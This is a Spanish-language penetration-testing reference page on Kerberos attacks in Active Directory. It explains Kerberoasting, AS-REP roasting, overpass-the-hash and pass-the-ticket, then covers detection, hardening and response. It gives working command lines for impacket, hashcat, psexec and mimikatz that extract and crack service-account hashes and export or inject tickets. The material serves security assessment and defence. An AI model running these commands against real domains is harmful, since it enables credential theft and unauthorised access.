Saltearse al contenido

Ataques Kerberos

Kerberos es el protocolo de autenticación de AD. En vez de enviar contraseñas, usa tickets cifrados emitidos por el KDC (el Domain Controller): un TGT (Ticket Granting Ticket) identifica al usuario, y con él pide TGS (service tickets) para acceder a servicios concretos. El diseño es sólido, pero varios detalles de implementación —tickets cifrados con la clave del servicio, cuentas sin pre-autenticación, reutilización de claves— abren ataques potentísimos que no tocan el canal de red, solo piden tickets de forma legítima.

El atacante no rompe la criptografía de Kerberos: abusa de a quién le confía qué. El KDC entrega, a cualquier usuario autenticado, tickets cifrados con la clave (el hash) de la cuenta de servicio → se crackean offline (Kerberoasting). A cuentas sin preauth, entrega material cifrado con su clave sin pedir contraseña (AS-REP roasting). Y cualquier clave/hash robado permite pedir tickets como esa identidad (overpass-the-hash). Todo “dentro de las reglas”.

sequenceDiagram
    participant C as Cliente
    participant KDC as KDC (DC)
    participant S as Servicio (SPN)
    C->>KDC: AS-REQ (preauth con su clave)
    KDC-->>C: AS-REP (entrega el TGT)
    C->>KDC: TGS-REQ (con el TGT, pide ticket para el SPN)
    KDC-->>C: TGS-REP (TGS cifrado con el hash del servicio)
    C->>S: AP-REQ (presenta el TGS y el servicio lo valida)
    Note over C,KDC: Kerberoasting — cualquier usuario pide el TGS-REP<br/>y lo crackea offline (hashcat -m 13100)

El punto clave: el TGS va cifrado con el hash de la cuenta del servicio (la que posee el SPN).

Cualquier usuario puede pedir un TGS para cualquier SPN. Ese TGS está cifrado con el hash de la cuenta de servicio → se crackea offline hasta recuperar su contraseña. Objetivo: cuentas de servicio (SQL, IIS, etc.), a menudo con contraseñas antiguas y débiles, y a veces en grupos privilegiados.

# remoto, sin tocar Windows
GetUserSPNs.py dominio/user:pass -dc-ip <DC> -request -outputfile hashes.txt
nxc ldap <DC> -u user -p pass --kerberoasting kerb.txt
# crackeo
hashcat -m 13100 hashes.txt rockyou.txt

Variante targeted Kerberoasting: si tienes GenericWrite sobre un usuario, le pones un SPN temporal, lo rostizas, y se lo quitas.

Las cuentas con “no requiere pre-autenticación Kerberos” entregan en el AS-REP material cifrado con su clave sin que pruebes su contraseña → crackeo offline directo, sin credenciales previas (solo necesitas el nombre de usuario).

GetNPUsers.py dominio/ -dc-ip <DC> -usersfile users.txt -no-pass -request
hashcat -m 18200 asrep.txt rockyou.txt

Con el hash NT (o clave AES) de un usuario, pides un TGT legítimo sin su contraseña → lo usas para todo Kerberos. Convierte un hash en acceso Kerberos completo.

getTGT.py dominio/user -hashes :<NThash> # -> user.ccache
export KRB5CCNAME=user.ccache
psexec.py -k -no-pass dominio/user@host
# en Windows: mimikatz sekurlsa::pth /user /ntlm /run:...

Robar un TGT/TGS de la memoria (LSASS) o de disco (.ccache, .kirbi) e inyectarlo para actuar como ese usuario.

mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt ticket.kirbi

Forjar tickets desde una clave robada (krbtgt → Golden; clave de servicio → Silver). Son técnicas de persistencia/escalada total; se tratan en ad-persist.

  • impacket (GetUserSPNs.py, GetNPUsers.py, getTGT.py, ticketer.py) — Kerberos desde Linux.
  • Rubeus — la navaja de Kerberos en Windows (kerberoast, asreproast, asktgt, ptt, s4u).
  • mimikatz — PtH/PtT, export de tickets.
  • hashcat — crack de TGS (13100) y AS-REP (18200).

De una cuenta cualquiera a credenciales de cuentas de servicio (a veces privilegiadas), y de un hash a acceso Kerberos pleno. Kerberoasting y AS-REP roasting son de los vectores de escalada más rentables en AD real.

  • Kerberoasting: muchos 4769 (TGS request) por una cuenta, especialmente con cifrado RC4 (type 0x17) solicitado para muchos SPN.
  • AS-REP roasting: 4768 con preauth no requerida; cuentas con DONT_REQ_PREAUTH.
  • Tickets con lifetime/flags anómalos; RC4 donde debería ser AES.

Audita 4768/4769 con tipo de cifrado; alerta sobre RC4 y sobre un volumen alto de TGS por cuenta. Honeypot: cuenta con SPN señuelo que, si se rostiza, dispara alerta.

  • Contraseñas largas y aleatorias (25+ chars) en cuentas de servicio → el crack de Kerberoasting se vuelve inviable. Mejor aún: gMSA/dMSA (contraseñas gestionadas de 120+ chars).
  • Quita DONT_REQ_PREAUTH de todas las cuentas (elimina AS-REP roasting).
  • Fuerza AES, deshabilita RC4 en Kerberos donde sea posible.
  • Quita SPNs innecesarios; no pongas cuentas de servicio en grupos privilegiados.
  • Protected Users (bloquea RC4/NTLM/delegación para esas cuentas), LSASS protegido (frena PtT/PtH).

Resetea las cuentas de servicio comprometidas (dos veces si era krbtgt — ver Persistencia en Active Directory), revisa qué servicios tocó, y migra a gMSA; purga tickets robados invalidando sesiones.

  • Kerberoasting/AS-REP roasting no son CVEs: son abusos de protocolo (MITRE T1558.003, T1558.004), estándar en toda evaluación de AD.
  • Bronze Bit (CVE-2020-17049) — bypass de restricciones de delegación en Kerberos.
  • Sapphire/Diamond ticket y S4U abuse documentados por investigadores (Rubeus, impacket).
  • Aparecen en playbooks de ransomware (Conti, Ryuk) para escalar a cuentas de servicio y de ahí a DA.
  • SPNs presentes → Kerberoasting (GetUserSPNs -request)
  • Cuentas sin preauth → AS-REP roasting (GetNPUsers)
  • ¿Los hashes rostizados crackean? (hashcat 13100/18200)
  • Targeted Kerberoasting vía GenericWrite (SPN temporal)
  • Overpass-the-hash: hash → TGT (getTGT)
  • Pass-the-ticket desde LSASS/.ccache/.kirbi
  • ¿RC4 permitido en vez de AES?
  • Blue: ¿4769 RC4 monitorizado y gMSA en uso?